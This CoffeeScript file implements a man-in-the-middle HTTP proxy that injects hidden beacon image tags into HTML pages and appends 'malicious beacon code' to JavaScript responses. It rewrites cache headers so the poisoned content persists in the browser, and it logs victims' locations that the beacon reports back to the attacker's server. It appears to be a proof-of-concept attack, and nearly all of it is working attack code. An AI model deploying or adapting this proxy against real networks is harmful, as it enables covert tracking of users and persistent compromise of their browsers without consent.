beaconproxy.coffee

httpProxy = require 'http-proxy' # npm install http-proxy

server = httpProxy.createServer (req, res, proxy) ->
  if req.headers['host'] == PUBLIC_IP
    # react to a request sent from the malicious beacon giving
    # the user's current location
    {query} = url.parse(req.url)
    {location} = querystring.parse(query)
    if location
      console.log "Tracked location: #{location}"
    res.end()
    return

  full_url = "http://#{req.headers['host']}#{req.url}"

  # force a plain response so we don't have to muck with encodings
  req.headers['accept-encoding'] = 'plain'
  # we don't want a 304 Not Modified, so get rid of headers that
  # could cause one
  delete req.headers['if-modified-since']
  delete req.headers['if-none-match']

  # override the res.writeHead method, but make a copy of the
  # original method so we can call it later
  res.oldWriteHead = res.writeHead
  res.writeHead = (code, headers) ->
    if code == 200
      if /text\/html/.exec(headers['content-type'])
        console.log "Injecting page #{full_url}"
        # Insert a bunch of fake <img> tags with links to all the beacons
        # we want to preload and cache
        fake_imgs = ''
        for target_url in target_urls
          fake_imgs += "<img src=\"#{target_url}\" style=\"display: none\" />"
        inject = (data) -> data.replace('</body>', "#{fake_imgs}</body>")
        cache_poisoned = true
      else if /(application|text)\/(x-)?javascript/.exec(headers['content-type'])
        console.log "Injecting script #{full_url}"
        inject = (data) -> data + beacon
      
      if inject?
        # Drop the Content-Length header since we'll be changing the
        # content
        delete headers['content-length']
        # Set the headers so the content caches
        delete headers['cache-control']
        delete headers['max-age']
        headers['expires'] = CACHE_EXPIRE

        # buffer the response until it is complete, so we can inject
        # it with the malicious beacon code
        data = ''
        res.oldWrite = res.write
        res.write = (chunk) ->
          data += chunk

        res.oldEnd = res.end
        res.end = ->
          data = inject data
          res.oldWrite data
          res.oldEnd()

    res.oldWriteHead code, headers

  if req.headers['host']?
    proxy.proxyRequest req, res,
      host: req.headers['host']
      port: HTTP_PORT
  else
    # ignore requests that don't have a Host header
    res.end()

server.listen HTTP_PORT, ->
  console.log "HTTP Proxy listening on port #{HTTP_PORT}"